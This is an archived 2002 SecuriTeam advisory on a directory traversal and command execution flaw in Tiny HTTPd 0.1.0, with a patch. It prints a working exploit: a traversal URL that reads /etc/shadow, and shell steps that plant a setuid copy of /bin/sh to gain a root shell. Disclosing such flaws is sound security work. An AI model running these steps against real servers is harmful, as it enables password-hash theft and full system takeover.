

# [UNIX] Multiple Vulnerabilities in Tiny HTTPd

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0076.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 11/23/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 23 Nov 2002 01:00:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

## Multiple Vulnerabilities in Tiny HTTPd

---

### SUMMARY

<<http://tinyhttpd.sourceforge.net/>> tinyhttpd (Tiny HTTPd) is a very simple web server. The program has been found to contain two vulnerabilities, a directory traversal vulnerability (that allows compromising of the whole system due to command execution vulnerability).

### DETAILS

Vulnerable systems:

\* tinyhttpd version 0.1.0

Vulnerable code:

```
110 cgi = 1;
111 if (!cgi) // because cgi is not, read file.
112 serve_file(client, path);
113 else
114 execute_cgi(client, path, method, query_string); // cgi
executes.
115 }

116 close(client);
```

```
117 }
```

```
---
```

As you can see in `serve_file()` line:359.

```
—  
359 void serve_file(int client, const char *filename)
```

```
...
```

```
367 resource = fopen(filename, "r");
```

```
...
```

```
373 cat(client, resource);
```

```
---
```

And as you can see in `cat()` line:143.

```
—  
143 void cat(int client, FILE *resource)
```

```
...
```

```
149 send(client, buf, strlen(buf), 0);
```

```
---
```

And that the function that executes the CGI in line:185.

```
—  
185 void execute_cgi(int client, const char *path,  
186 const char *method, const char *query_string)
```

```
...
```

```
249 execl(path, path, NULL);
```

```
250 exit(0);
```

```
---
```

It does not filter out `"../"`, allowing a directory traversal vulnerability.

Exploit:

Because the server runs as root:

```
http://tiniwebserver/../../../../../../../../etc/shadow
```

Will return the content of the shadow file.

To gain root privileges you need to first execute:

```
bash$ cat > test; chmod +x test
```

```
#!/bin/sh
```

```
cp /bin/sh /tmp/sh
```

```
chmod 4755 /tmp/sh
```

```
^C
```

```
bash$
```

And then:

```
bash$ lynx http://localhost/../../../../../../../../tmp/test
```

```
bash$ /tmp/sh -i
```

## Securiteam: [UNIX] Multiple Vulnerabilities in Tiny HTTPd

bash#

Patch:

```
==== httpd.patch ====

--- httpd.c Sun Apr 22 09:13:13 2001
+++ httpd.patch.c Thu Oct 17 19:07:41 2002
@@ -55,6 +55,7 @@
 char method[255];
 char url[255];
 char path[512];
+ int t;
 size_t i, j;
 struct stat st;
 int cgi = 0; /* becomes true if server decides this is a CGI
@@ -88,6 +89,15 @@
     i++; j++;
 }
 url[i] = '\0';
+
+ for(t=0;t<strlen(url);t++)
+ {
+ if(url[t] == '.' && url[t+1] == '.' && url[t+2] == '/')
+ {
+ url[t] = '/';
+ url[t+1] = '/';
+ }
+ }

 if (strcasecmp(method, "GET") == 0)
 {
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:xploit@hackermail.com>>  
dong-houn yoU.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.